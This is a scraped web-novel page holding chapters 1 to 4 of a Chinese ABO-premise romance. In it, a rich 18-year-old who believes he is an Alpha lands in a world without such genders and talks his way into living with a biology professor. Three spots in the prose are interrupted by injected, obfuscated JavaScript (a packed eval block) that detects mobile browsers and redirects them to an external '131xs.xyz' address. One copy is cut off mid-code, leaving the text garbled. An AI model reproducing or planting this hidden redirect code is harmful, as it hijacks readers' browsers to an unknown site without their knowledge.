《天降一只Alpha老婆》 1. 第1章 很离谱。 池燃拖着他28寸的大行李箱从机场大厅走出来,还没接受他亲爹就这么把他扔给一个30岁Omega联姻的事实。 更离谱的是,他昨天才刚满18岁……池州诚简直比他想象中还不在乎他。 二月份,明城的温度比海城要低一点。池燃穿着一身短袖短裤,站在路边拦出租车,和旁边穿长裤风衣的人一比,显得像个傻子。 缩进出租车里,池燃感到一丝暖和,不禁搓了搓手臂。司机也古怪地看他一眼,“小伙子,去哪儿啊?第一次来明城?” “啊。”池燃点头应着,从手机里调出来池州诚发给他的地址,道:“礼州路23号,翡翠观澜。” 司机听到池燃报上的地址,又从后视镜里打量他,小孩儿长得白白净净的,一头浅色金毛,一副从生出来就没受过苦的模样,眼睛里都透着“单纯”二字,一看就是哪个富豪家的小少爷。能住在翡翠观澜,不一般。 池燃疑惑地和司机对上视线,“怎么了吗?” “没,没事儿。”中年人脸上堆起褶子,憨厚地笑,“坐稳啊,走了。” 车子一路飞驰过机场高速,进到市区。池燃第一次来明城,不禁好奇地观察这座他以后要生活的城市。都是大都市,整体来说,和海城区别不大,高楼林立,立交桥纵横交错,夜幕降临,家家户户亮起灯来。 池燃收回目光,按亮手机发现一条消息也没有,又一阵心烦。对他来说,生活在明城和海城能有什么不一样,没一个人在乎他。 “多少?!” 一个小时后,出租车在灯火辉煌的小区大门前停下。 池燃几乎要在车里蹦起来,一米八的个子,脑袋顶到车顶,“六百五?!” 司机一脸无辜地给他指向计价器,“小伙子,车费在这儿摆着呢,我不能骗你啊。” 池燃咬着牙,太阳穴直跳。 看他是年纪小就骗他是吧? 司机:“你也不差我这些钱,我还赶着去接下一单呢。” 池燃:“……” 他不情愿地掏出手机扫码付钱。 他是不差钱,可不代表他是傻子。 池燃将行李从后备箱拖下来,骂骂咧咧地往大门走去。万向轮碾过不平整的石子路还对他发出抗议,卡住了。他用力把行李箱往起提,嘟囔了句,“什么破路。” 看来今天对他来说注定是倒霉的一天。 “你好,访客需要登记。”来到门卫前,站岗的保安将他拦下,“您去哪家?我们联系业主。” 池燃耐着性子答,“三号楼,一单元,3102。” 保安:“好的,稍等。” 池燃一屁股坐到行李箱上,抱着双臂,晃着两条长腿等,不满的情绪都写在脸上。 这Omega也太不把他当回事了!30岁的老男人装什么装?不八抬大轿请他进去就算了,居然还要他在冷风里等!简直不像话。 “你好,可以进了。”保安从门卫亭的小窗口里递出来一个钥匙扣,“这是临时门禁卡,3号楼进门顺着小路往前走第二栋楼,进电梯刷卡就能到31楼。” 池燃哦了声,从行李箱上跳下来,接过钥匙扣,“谢谢。” 到了晚上,气温越来越低,风刮过来都起鸡皮疙瘩。池燃顾不上什么风度不风度,推着行李箱一路小跑,一溜烟窜进楼里。 “我靠,冻死我了。”池燃在电梯里打寒颤,“怎么没一个人跟我说明城这么冷啊。” 他穿成这样出门,居然没人提醒他。 算了,池燃又想,他来明城也没人送他,那很合理了。 憋了一肚子气,池燃站在3102门前按门铃,脸上写满了“我不好惹”四个大字。他已经下定决心,绝不会给这个Omega半点好脸色,他们俩谁都别想好过。 门铃响了半分钟,门终于被人从里拉开一条缝。 “稍等,我接个电话。” 男人撂下一句话,一个眼神都没分给他,转身就往屋里走。 池燃:? ??? 这对吗? 他是池燃!是池家的小少爷!是来联姻的Alpha,他是Alpha!!!居然就被这么对待! 池燃一肚子火像被浇了桶油一样,腾得一下就烧起来。他铁青着脸推开门,叮叮咣咣地拖着他的行李箱进门,随后砰的一声将门重重关上。 听到声音,落地窗前,坐在桌边的男人朝他瞥过来一眼,可旋即又看回电脑。 “好,郑主任,我记下了。” “嗯,嗯……没问题。” 池燃一瞬不瞬地盯着这人,仿佛要在对方身上看出个洞来。 男人棱角分明的脸上架着一副银框眼镜,有几分书生气,发型和衬衣都一丝不苟。这场景要换作是办公室,大概也一点都不违和。 “好,我一会儿过去。”男人抬手看了看腕表,“一个小时之后吧,我这边还有点事。” “嗯,再见。” 男人挂了电话,朝池燃走过来。池燃就像个门神似的杵在玄关处,一副有人欠了他八百万的模样。 男人看看他,又看看他手边的行李箱,终于开口,“带厚衣服了吗?这两天降温。” 池燃眉间一动。 什么情况?一上来就搞这么温情,是要收买他? 他绷着脸,憋出几个字,“没有,没带。” 男人目光又落向他的行李箱,似乎在疑惑他这么大一只行李箱里都装了什么,连件厚衣服都没有。 “你应该可以穿我的,我给你找几件,这两天出门穿。” 男人说完,转身朝屋里走去,顺手给他往其中一间房指了下,“你先住这间,房间里有独立卫生间。” 池燃跟在他身后,干巴巴地哦了声。 他顺带打量了下这套房子,是个大平层,空间宽敞,房间一间挨一间多得很,瞟一眼都分辨不出来到底是干什么用的。 进到衣帽间,男人在整墙的衣柜中挑选着,很快,从中拎出两件外套,转头问他,“这个行吗?” 池燃嫌弃地打量那两件运动外套。灰色的,黑白的,也太老年人了…… 不对!池燃脑中一根弦突然崩起来。 这是他的阴谋!他衣服上肯定有Omega信息素!这就是他引诱他的第一步! 池燃顿时瞪圆了眼,很不客气地撂下一句话,“我才不穿你的衣服。” “……” 对方沉默了片刻,意外地脾气很好,“好,明天我有时间,可以带你去买。” 池燃:。 圈套,都是圈套。 “我一会儿有事要出门一趟,你自己在家可以吗?” 拿他当八岁小孩? 池燃凶巴巴:“可以。” “嗯。”男人又问,“吃晚饭了吗?” “没。” 男人从他身旁经过,又回到客厅的书桌旁,“你自己点外卖吧,我还有点事要处理,没时间给你做。” “哦。” 池燃敏锐地察觉到空气中的气味,这Omega的信息素是什么味啊?还挺好闻的。 不对不对。 池燃命令自己清醒过来。 “喂,请你自重。” 男人朝他看过来一眼,目光中有疑惑,但也只停留了两秒,手指又在键盘上敲起来。 池燃见他不理自己,便也不想理他,气呼呼地拖行李箱进房间,一把摔上门。 过了五分钟,池燃从屋里出来,“喂,这床垫太硬了,我睡不惯。” 男人看他一眼,“明天一起买新的。” 池燃:“……” 回屋。 又过了两分钟,池燃探头:“喂,我不喜欢茉莉味的沐浴露。” “家里只有这个味道的,你需要新的明天买。” 池燃:“……” 明天买明天买,就知道明天买。 “那我现在拿什么洗澡?”他不依不饶。 男人修长的手指在键盘上顿下,“……你喜欢什么味道的?” 池燃:“青草。” 他看着男人在手机上点了点,片刻后道,“下单了,半个小时送过来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203332|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这还差不多。 池燃觉得满意了些,他堂堂Alpha,就得用和自己信息素味道一样的沐浴露! 男人起身,掀起椅背上的深灰色毛呢大衣穿上,扣子一系,更显得他腰细腿长。 “喂。”见他要出门,池燃又叫住他,“你出去帮我带一份徐福记的小龙虾回来,要麻辣的。” 男人提包的动作一顿,看向他,加重了字音,“……点外卖。” “他家不送外卖。”池燃说完,砰的关上门回屋。 - 潭知行出了家门,乘电梯到负一层,刚坐上车,就接到潭枫打来的电话。 他接通语音,随后启动车子,驶出停车场。 “爸。” “知行,接到那孩子了吗?” “刚接到。” “我们还有四五天就回去了,辛苦你啊。” “没事。”潭知行边将导航定位到郑主任家楼下,边说,“你和妈再多玩几天,不着急。” 对面的男人叹口气,“你妈这两天状态不太好,我带她出去总提心吊胆的。” 潭知行嗯了声,“那早点回家也好。” “回去我就把你白叔孩子接过来,你不太适应带小孩吧。” 潭知行笑了下,“还行,现在小孩儿不都那样吗,任性,有个性。” 潭枫在电话那头爽快地哈哈笑,“马上就开学了,到时候啊,你能体会到的个性更多。” “嗯。郑主任刚才联系我,想让我代表新入职教师做演讲,我现在去他家,取点资料。” “是吗。”潭枫笑笑,语气里有几分骄傲,“那我和你妈可得赶回去看看。” “嗯。”潭知行将车停在路边,“晚点再说吧爸,我去找郑主任了。” “好,你忙吧。” 挂掉电话,潭知行下车,郑秋已经在路边等他了。 “郑主任。” “小潭。”郑秋一见他,笑眯眯地迎上来,“辛苦你这么晚还跑过来一趟啊。” “没事,应该的。” 郑秋递给他一沓文件,“这往年的讲稿电子版我找了半天找不全,校长通知得也急,你就照着这个写写就行。” “好,没问题。”潭知行笑道,“您放心吧。” “放心,当然放心。”郑秋笑着拍拍他,“你可是我们院今年最大的荣耀啊。” “过奖了郑叔。”潭知行微垂下眼。 “你爸妈最近怎么样啊?” “去欧洲旅游了,过两天回来。” “你妈妈……还是那样吗?”郑秋露出担忧的神色。 “嗯,时好时坏吧。”潭知行说,“大部分时候还是认不清人。” 郑秋叹口气,“你妈要是没提前退休,你们一家三口现在可就都是教授了。” “我还是副教授呢,能不能升都不一定。” “诶,就过几年的事儿,你升不了正职,那还谁能升?” 又和郑秋寒暄了几分钟,潭知行回到车上,将文件装回公文包里。点开导航,输入“徐福记”。 这附近还真有两家。 他健康饮食,平时不吃这些,再加上刚回国不久,连这家店的名字都不熟悉。 晚上八点多,徐福记门口还排满了人,生意火爆。潭知行站到队尾,心想怪不得不做外卖。 九点,潭知行一手提着五斤麻辣小龙虾,一手输密码开门。门刚一开,就听到屋里传来一阵吵吵闹闹的声音。 “你谁啊?!” “你谁啊?干嘛大喊大叫的?” “我是这家的一家之主!” “不对啊,我潭哥呢?” 看到眼前的景象,潭知行有点懵了。 他家里怎么又多出一个小孩来? 那寸头男孩一看到他回来,立刻跑过来,“潭哥!” “你是……?” “我白骁啊。”男孩一拍胸脯,“咱小时候见过。” 白骁,确实是他白叔家的小孩。 那…… 潭知行又看向另一个金毛小孩,“请问你是?” 2. 第2章 池燃:??? 什么情况? 他走错家门了? 不可能啊,池州诚给他的就是这个地址,30岁左右的Omega,有钱老男人,这不都对得上吗! 他自我怀疑了几秒,脖子一梗,很有理似的,“我是来和你结婚的Alpha!” 潭知行:…… 白骁:? 说的是人话吗?怎么一个字都听不懂? 潭知行捏了捏眉心,意识到是自己搞错了。他在等白骁来他家借住,却不知道从哪儿冒出来一个失足少年,误打误撞进了他家。 白骁缓了两秒,先开口,“哥们你学数学学傻了吧?什么alpha,beta,sigma的。” 池燃更怒了,“我是A——” 他话没说完,被潭知行拎出了门,“哎你!” “白骁,你在家等我一下,家里东西你看着用。”潭知行对白骁嘱咐道。 “好嘞潭哥。”白骁冲他呲牙笑。 潭知行关上门,对上眼前怒气冲冲的小孩。 “你叫什么名字?” “池燃。” “家住哪儿?” “海城,景天别墅。” 潭知行点头。 还行,看来不是疯了。 “怎么找来我家的?” 池燃无语,“我说了我是来联姻的,我是Alpha!” 潭知行:“……” “走吧。”潭知行按下电梯。 “去哪儿?” “公安局。” 池燃:…… 这人有病吧。 池燃跟着他进了电梯,“你听不懂吗?我是Alpha,我来跟你结婚的,你以为我很想来吗?” 潭知行已经不想理池燃说的话了。 他把手里的五斤小龙虾递到池燃手里,“路上吃。” 池燃:“……” 他掏出手机来给池州诚打电话。一通,两通,没人接。 拜托!你儿子要被人带去警局了!管管好吗! 池燃快要把手机戳烂了,电话还是接不通。 他认命地跟潭知行上车,坐到副驾驶,索性扒开小龙虾盒子,戴上一次性手套,开吃。 “喂,你真要带我去警局?” 潭知行嗯了一声。 “你是不是失忆了?” “你秘书呢?” “你连我都要赶走,合同不想签了吗?” 潭知行在红灯前停下车,转头看向他,迟疑两秒,“你是不是认错人了?” “第一,我还没有到失忆的程度。第二,我是一个大学老师,没有秘书。最后,我也没有什么合同要签。” 池燃:? 真的假的? 他火速摘下手套,调出他和池州诚的聊天记录,将手机怼到潭知行眼前,“这不是你家地址吗?” 潭知行看向那一行字,反复确认了两遍,“是。” “那没错啊,我找的就是你。” 潭知行有点头疼,怎么就和这小孩解释不明白呢? 到了警局,潭知行向值班警察说明情况,警察像是很熟悉这套流程似的,将他们带进一间办公室,请他们坐下。 “叫什么?”警察问。 “池燃。”池燃忍着一肚子气答道,“三点水的池,燃烧的燃。” “好。”对方在电脑上敲下这两个字,又问,“年龄?” “18。”池燃说,“昨天刚过生日。” “嗯……”片刻后,警察将电脑屏幕转向他,“这个是不是你?” 池燃扫了眼屏幕上的照片,“是。” 潭知行问:“能联系到他父母吗?” “等等!”池燃突然抓住显示屏,死死盯在性别那一栏。 「性别:男」 男???Alpha呢?不应该是:男/Alpha 吗? 就算不是Alpha,也得写个Beta或者Omega啊,什么都没有算怎么回事? “你们系统是不是出错了?”池燃问警察。 警察朝他笑笑,“小朋友,我们系统不会出错的。” 警察将屏幕转回去,继续查看居民关系那一栏,随后表情变得奇怪起来。 “小朋友,你……没有爸妈吗?也,没有亲人?” 池燃顿时瞪大眼睛。 怎么可能? 他还没从上一段震惊中缓过来,又陷入了更大的震撼里。他怎么可能没有亲人? 亲爹,后妈,同父异母的哥哥。血缘关系是淡了点,可起码是落在纸面上的关系。 “家庭地址是……礼州路23号,翡翠观澜,三号楼一单元3102。”警察念完,问他,“这个地址对吗?” 这下换成潭知行僵住了。 这小孩的家庭地址怎么会是他家? 池燃:…… 这对吗?公安信息能这么快就改过来? 他迟了半晌点头,“目前,目前是。” “需要我们送你回家吗?” 潭知行抢先一步,“不麻烦了,我送他回家就好。” “好,那二位简单做个笔录吧。” …… 半个小时后,从警局出来,两个人都是懵的。站在马路边,面面相觑。 池燃刚才琢磨了半天,但又不敢确认。终于,他犹豫着开口,“喂,你们这儿……有没有Alpha,Omega,和Beta?” 潭知行:“希腊字母吗?” 池燃跳脚,“性别,性别啊!比如我。”他指着自己,“我就是Alpha!” 潭知行眉头拧起,半晌摇了摇头。 作为一个生物学学者,他从来没听说过什么性别为Alpha的。 池燃一下呆了。简直晴天霹雳。 这个世界居然没有abo!这不是abo世界!他……穿越了?还是一个性别只有男/女的世界? 而且这个世界他没有爸妈,没有亲人,只有他自己。虽然他平时和他们也不亲,可要他一下接受这个事实,还有点难度。 等等。 池燃脑子里突然冒出一个念头:既然什么都没有了,那岂不是也没有他的联姻对象了?他不用被迫和大龄Omega结婚了!他自由了! 潭知行略有困惑地看着眼前金发碧眼的男孩,脸上表情一阵阴一阵晴,短短一分钟里,对方的情绪起伏仿佛很大。 “喂,我知道了。”池燃一扬头,信誓旦旦地跟他说,“我穿越了。” 潭知行:…… “你们这个破地方没有abo,我可能是唯一一个Alpha,现在我举目无亲,无家可归,只能跟你回家。” “……” 赖上了。 赖上吧,池燃想,那咋办?他不想回去联姻。他在这儿又谁也不认识,还能把自己冻死在街头? “就算你现在不带我回家,我信息上写的也是你家地址,警察叔叔早晚会把我送到你家。”池燃威胁道,“到时候我就说你遗弃未成年少男,不对,刚成年少男,你看着办。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203333|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >潭知行IQ160的脑子这会儿有点转不动了。 穿越?这是可以真实发生的事情吗? 还是把这小孩送去医院看看神经科比较好。 他看着池燃在寒风里发颤,突然有些后悔刚刚出门着急,没给他拿件外衣。 半晌,潭知行轻叹口气,脱下身上的毛呢外套,上前一步,将衣服披在池燃身上。 “上车,回家再说。” 潭知行开足了暖风,将出风口都对准池燃的方向。池燃缩在毛呢大衣里,感受着一股股热气将他包裹,终于缓过来些,舒服地靠进椅背里。 他把装小龙虾盒子的塑料袋放在潭知行大衣上,戴起手套继续吃。他姿势懒散,油点很容易就会溅到衣服上。潭知行看看他,一度欲言又止。 “你爸妈叫什么?”潭知行边开车边问。 “我爸叫池州诚,是个企业家。如果你百度,能搜到他。”池燃想了想,补充道,“我是说在我原来的世界里。” “我妈……”池燃顿了顿,“我只有后妈,叫贺涓,以前是个电影明星。” 潭知行闻言瞥向他一眼,用词很规范,“生母呢?” “不知道。”池燃边吃边耸肩,语气轻松地答道,“听我爸说是难产死了,我没见过。” “外国人?”潭知行问。 毕竟根据生物遗传来看,黄种人生不出像他这样的小孩。 池燃点头,“好像是英法混血,来留学的,和我爸认识之后生的我。” 潭知行默默应下。 池燃沟通起来完全没问题,看起来不像是疯了。 难不成是他疯了? …… 回到家,已经将近十一点。屋子里静悄悄的,其中一间客卧的房门关着,看来白骁已经睡了。 池燃一进门,随手把潭知行的大衣扔到沙发上,光着脚一跃到沙发边,直接坐到地毯上,接着茶几继续吃他的小龙虾。 “给我倒杯水呗,有点辣。”池燃依旧很自然地使唤潭知行,语气倒客气了几分。他现在寄人篱下,要稍微收着点。 潭知行走去将大衣收起,挂到门口的衣架上,又去厨房给他拿玻璃杯倒水。 “这杯子有人用过吗?”潭知行将玻璃杯放到茶几上,池燃抬起眼睛问他。 潭知行:“……客人用的,消过毒。” 池燃瘪瘪嘴,有点嫌弃,“我要一次性杯子。” “……” 潭知行转身,去厨房抽屉里翻一次性纸杯。家里应该有,但他记不清具体放在哪个位置了。 裤兜里手机一阵震动,潭知行合上柜门,接起潭枫打来的视频电话。 “爸。” “知行,你白叔刚联系我,说白骁晚上九点多才到你那儿啊。”画面里的男人看起来困惑又担忧,“你七点多就说接到人了,到底接没接到啊?” “接到了。”潭知行目光又扫过上层的几个抽屉,“刚才出了点小状况,没事。” “喂!你找到杯子没有!我快辣死了!”客厅里传来池燃的声音,那声音越来越近,最后顶着一头金毛出现在他镜头一角里,“倒杯水要这么久吗?” 潭知行淡定回头,“你先喝一口玻璃杯的水。” “我不要!” 视频里的男人愣了愣,随即呵呵笑起来,“儿子,这是谁啊?” “就是刚才——” 潭知行正要解释,池燃毫无征兆地朝他扑过来,双手圈住他脖子,亲昵地同他脸贴脸,霸占整个屏幕。 “叔叔,我是他男朋友。” 3. 第3章 潭知行:? 他眉头一皱,偏过脸去看池燃,结果和池燃贴得更紧了。 池燃用力揽着他脖子,像是想把他勒死似的。 “叔叔你好,我叫池燃。”池燃对视频里的男人露出八颗牙的笑容,显得他活泼开朗得很。 赖上,赖就要赖得更彻底一点。 池燃笑眯眯的,一脸单纯无害,脑子里想的却是:跟他爸说是他男朋友,应该就不会把我赶走了吧? 潭枫先是一愣,露出意外的神色,随后换上笑容朝池燃颔首,“你好你好,第一次见,没想到是在视频里。知行之前没跟我提起过啊,这孩子……” 潭知行刚想说什么,又被池燃狠狠勒住。 “他不好意思,叔叔。你知道的,年纪大了都腼腆。” 潭枫笑着点头,“是是,知行这孩子是这样。” “我和知行他妈妈在欧洲旅游呢,过两天我们就回去了,到时候一定要见见你,请你好好吃顿饭。” “好呀叔叔,那我等你们回来。” “时间不早了,我们要睡觉了,晚安叔叔。” 池燃说完,啪嗒一下挂断视频通话,松开潭知行。潭知行个子比他高几厘米,勒着他也是很费劲的。 池燃甩甩手。 “你……”潭知行难以置信地看向池燃。这一切发生得太快,以至于他都没有反抗的机会。 池燃朝他歪头,又耸了耸肩,一副得意样子。眼睛一眯,和小狐狸似的。 “你不许把我赶走了啊,你爸妈回来可是要见我的。” 潭知行:“……” 这到底是什么品种的小祖宗。 “你找到纸杯没有?” “还没。” “算了算了。”池燃摆手,回身往客厅走,“渴死我算了,明天带我去买新水杯。” 潭知行独自在厨房缓了好一会儿。 他刚刚……是被迫承认了自己有男朋友?而且还是同居状态?更离谱的是,他爸看起来还接受良好,甚至要请池燃吃饭。虽然同性婚姻上个月已经合法了,但这未免太赶时髦了些。 这些年潭枫一直想让他谈个恋爱,身边人前前后后给他介绍的相亲也不少,是他一直迈不过去心里的那道坎,单身到现在。 所以听池燃那么一说,潭枫高兴是自然的。 要不……就将计就计? 池燃边吃小龙虾,一边戳弄他的手机。这破手机变得和板砖一样,明明显示着有网,可就是一条消息一个网页都刷新不出来。 难道是和他穿越有关系? 池燃研究了半天,歪头朝厨房的方向大声喊,“喂,你家WiFi密码多少?” 潭知行拿着纸杯走过来,弯腰将水给他放在茶几上,“八个八。” 池燃看他一眼,小声嘟囔,“你家是饭店吗?” “……” “我叫潭知行,潭水的潭,知行合一的知行。你可以跟白骁一样,叫我哥哥。”潭知行向他自我介绍。 池燃输了密码,终于连上网。眼睛也没抬,反复刷新微信消息,哦了一声说,“知道了,潭知行。” 微信还是没半点反应,池燃啧了一声,又打开浏览器试,这回倒是刷新出来了,可……好像跟他原本的世界不太一样。 他像是被切断了一切联系。就算他爹不疼娘不爱,至少还有几个同学朋友,可现在什么都没有了。 他有些心烦地把手机推到一旁,拿起纸杯咕咚咕咚喝水,两秒喝光,又把杯子递给潭知行,“还要。” “没有可乐吗?”他问。 “没有。”潭知行接过杯子,“我不喝那些。” 池燃默默在心里吐槽潭知行是老年人,“那你买点给我喝。” 他们说话间,客卧的房门“嘎达”一声被打开,白骁揉着眼睛走出来,打了个哈欠,“潭哥,你回来了啊。” 潭知行走去倒水,应了声:“嗯。” 白骁又揉揉眼睛,和地毯上坐着的池燃对上视线。池燃朝他吐了下舌头,像挑衅。 “我靠,你怎么回来了?” 池燃朝潭知行一指,“他带我回来的啊。” 白骁一脸震惊,“什么情况啊潭哥!” 潭知行:“……” 这很难解释。 池燃大言不惭,正要开口,“因为我是他男——” 潭知行上前一步把纸杯怼到池燃嘴边,害得池燃呛了几口水。 “你有病——” 潭知行:“他需要在这儿先住几天。” 白骁:“哦哦。” 他目光一转,发现桌上还有小龙虾,顿时眼睛亮了,“我靠哥们,你太不够意思了,吃夜宵不叫我。” 池燃分他一只手套,“谁知道你吃不吃?” “吃吃吃。”白骁果断和他席地而坐。 潭知行:…… 半夜吃东西是什么好习惯吗? “对了潭哥,你家有跌打损伤的药吗?”白骁边吃边问。 “有,怎么了?” 白骁无奈道,“我刚才翻栅栏进的小区,下来的时候崴到脚了。” 潭知行:“……翻栅栏?为什么不走正门?” “我也想啊。”白骁苦着脸,“门卫打电话说家里没人,我一想,就只能翻栅栏了。” 池燃突然噗嗤一笑。 白骁立刻反应过来,指着他问,“哎,是不是你小子故意不接电话?” “我可不是故意的。”池燃理直气壮,一双淡绿的眸子瞪圆,“我在洗澡,根本没听到有人打电话。” “我看你就是故意的。” “你再说!”池燃一把把小龙虾盒子抢过来,“不给你吃了,这是他买给我的。” “你——” 潭知行颇为无奈地看着两个小孩吵闹,一时有点头疼。他走去从电视柜下层拿出药箱,放到白骁手边,“你们吃完了就去睡,我还有工作,不要吵。” “okok。”白骁给他比手势,旋即又去打池燃的手,“啧,你别抢。” 潭知行拿着笔记本电脑回到书房,关上门,暂时隔绝掉池燃和白骁打打闹闹的声音。 他在桌前坐下,打开电脑,点开网页,在搜索栏输入:Alpha 百度随即给了他想要的答案。 「Alpha,网络流行语,ABO设定中的一种性别。常用于网络小说中的虚构世界……」 潭知行微蹙着眉,往下滑动页面,继续浏览关于Alpha的介绍。 「Alpha是天生的支配者,拥有强大的信息素,能与Omega交/配,是ABO世界中最常见的结合方式,通过腺体……」 潭知行看完百科介绍,仍有些困惑,但对池燃自称是Alpha这件事有了点信服,看起来不是胡说八道的。 他目光向下移,又看到了一行小字。 “超经典abo系列小说?” -< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203334|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 凌晨,池燃刚入睡不久,又迷迷糊糊醒来。他翻来覆去,只觉得身体里有股燥/热难耐。 “啊,烦死了。”他一个翻身坐起来,抓了抓头发。 说起来也奇怪,他17岁才分化为Alpha,是同龄人里最晚的。这导致他易感期很不稳定,要比寻常Alpha更频繁。 他光脚下床,开了灯,掀开还没收拾好的行李箱,在夹层里反复摸索。 找了半天,没找到他想要的东西。 “靠,抑制剂呢?”他骂了声。 收拾行李时的画面突然在他脑海闪现。他特意把所有抑制剂都放在了一个小包里,可偏偏那个包被他落在了桌子上。 池燃颓废地瘫坐在地,觉得自己完蛋了。 这个世界能有抑制剂吗?能去药店买到吗?怕不是会觉得他是疯子,像潭知行一样报警把他抓起来。 正纠结该怎么办的时候,“邦邦”两声,有人在外敲门。潭知行的声音传过来,“你还没睡?” 池燃腾地起身,上前拉开门,脸色和语气都很不好,“干嘛?没睡犯法?” …… 池燃一瞬间屏住呼吸。 我靠,这是什么味道? 他知道这个世界没有Omega,也就没有Omega信息素。可是,也许是他易感期发作嗅觉被放大了,潭知行身上的味道怎么能这么好闻? 他不自觉地吞咽了下口水。 潭知行伸手探他额头。 池燃条件反射似的后退一大步,“你干嘛!” 知不知道在易感期的时候靠近一个Alpha是很危险的! 潭知行神色凝重,“你好像在发烧。” 池燃双颊泛红,看起来很不正常。 “我没有!”池燃气呼呼的,说着就要关门,“你出去,出去,不要擅闯一个Alpha的领地。” 他砰地合上门,靠在门板上,心脏一阵狂跳。 好险,他刚才差点就想咬潭知行一口了。 冷静了半分钟,他转身进浴室,把冷水拧到最大,两分钟冲了个冷水澡出来,燥热的感觉才稍微好了些。 不就是没有抑制剂熬过易感期吗?熬呗。池燃心一横,回到床上蒙起被子,将自己裹起来。 熬,熬不死就行。 不知道过了多久,他昏昏沉沉晕过去,又感觉有什么冰冰凉凉的东西贴在了他额头上。 “池燃,起来,把药吃了。” 池燃胡乱地扯被子,意识不太清醒,“什么……我不要,我要信息素……” “给我,信息素……” 潭知行无奈将冲好的药放在床头,看着池燃在床上胡乱折腾,一张白净的脸涨得通红,皮肤每处一碰都滚烫得吓人。 他上哪儿给池燃找信息素去? 这就是传说中的易感期吗?可从实际来看,池燃也真的在发烧。 总得先解决一个吧。 “好了,别闹,先喝药。” 池燃迷蒙中睁开眼,朝他伸手,“你的味道……好好闻。” “给我……” 潭知行闻言微微一愣,甚至怀疑是自己听错了。 他的味道?是说他身上的香水味吗?可是他洗过澡,换过睡衣,应该早就闻不到了。 潭知行思索间,池燃就霸道地扯住了他的衣领,迫使他低头。 “你先把药——” 池燃毫不客气,一口咬在了他后颈上。 4. 第4章 池燃这一觉睡得不怎么沉,天刚蒙蒙亮他就睁了眼。在床上翻腾了一阵也睡不着,索性起床。易感期的时候他就会容易这样,睡不着觉。 头有些痛,四肢酸酸沉沉的,除此之外,倒没什么不适。 池燃对着镜子扒拉了两下睡乱的头发,确认自己脸色也恢复正常了才放下心来,还好这次易感期不是很严重。 他拉开卧室门,打算去找口水喝,没想到会和潭知行撞个正着。 潭知行穿着一套紧身黑色运动服,腕间带着运动手表,额前微微渗汗,看上去是刚晨练回来。 男人身材很有料,是穿衣显瘦脱衣有肉的类型,池燃有点意外,一时看愣了下,不禁和自己的身材做对比。 靠,这公平吗?池燃在心里暗骂。 明明他才是Alpha。 潭知行见到他也有些意外,眉间微微一挑,“起这么早?” 池燃下意识瞟了眼钟表,六点半。 他不敢相信潭知行这会儿就已经晨练回来了?变态吧。 “啊……我,我喝水。”池燃结巴着,朝厨房方向走去。 他从潭知行身旁路过,被人攥住手腕,被迫停下。 他有点不耐烦,“你干嘛?” 潭知行又去摸他额头的温度,只是轻轻一下,便放开他,“好得挺快。” 池燃:“……” 他理也不理,快步走去厨房倒水。咕噜咕噜两大杯水下肚,口干舌燥的感觉才好了些。 潭知行很快冲了澡换了衣服出来,见池燃窝在沙发上打游戏,边往厨房走边叫他,“池燃,过来。” 池燃眼睛也不抬,“干嘛?” “帮我洗菜。” 池燃在沙发上翻了个面,背过身去,干脆道:“我不会。” 他是个十指不沾阳春水的小少爷,家里保姆阿姨七八个,这种事从来轮不到他来干。 “学一下。”潭知行的声音听起来很有耐心。 “我,不,要!”池燃拖长了声音高声道。 “那今天早饭没有你的份。” “……” 半分钟后,池燃老老实实出现在厨房,脸色很不好看,“怎么做?” 潭知行切着午餐肉,朝前方微扬下巴,“生菜,西红柿,黄瓜,用那个篮子接水洗两遍。” 池燃:“哦。” 他极不情愿地一样一样把蔬菜捡进篮子里,走到水池边扒拉开水龙头。涌出来的水流过大,冲到西红柿上时一下溅了出来。 池燃很灵活,猛一个后撤步躲开,一旁的潭知行倒是遭殃了,湿了半边衣服。 池燃:“……” 潭知行缓了口气,放下刀,伸手把水流拧小,“洗吧。” “哦。”池燃抿抿嘴,正要上前,突然在潭知行后脖颈上发现了一排紫红的牙印。 “你脖子……”他下意识问出口。 潭知行侧目看向他,“怎么?过了一个晚上就不记得了?” 池燃紧张到吞了下口水。 这是他干的吗?他怎么记不清了?可除了他,应该也没有别人会变态到啃别人脖子…… “咬一口而已。”他硬着头皮道,“别那么小气。” 潭知行有被无语到,垂着眼笑了声。 是怎么做到这么无赖,又这么理直气壮的? 白骁还在睡,潭知行给他留了一份三明治和牛奶,将剩下两份端上桌。 “池燃。”他在餐桌前坐下,叫横躺在沙发上的人,“过来吃饭。” 池燃应也没应,趿着拖鞋走过来,拉开椅子坐下。他拿起筷子扒拉面前那份三明治,从中挑出两片西红柿来,扔到盘子另一端。 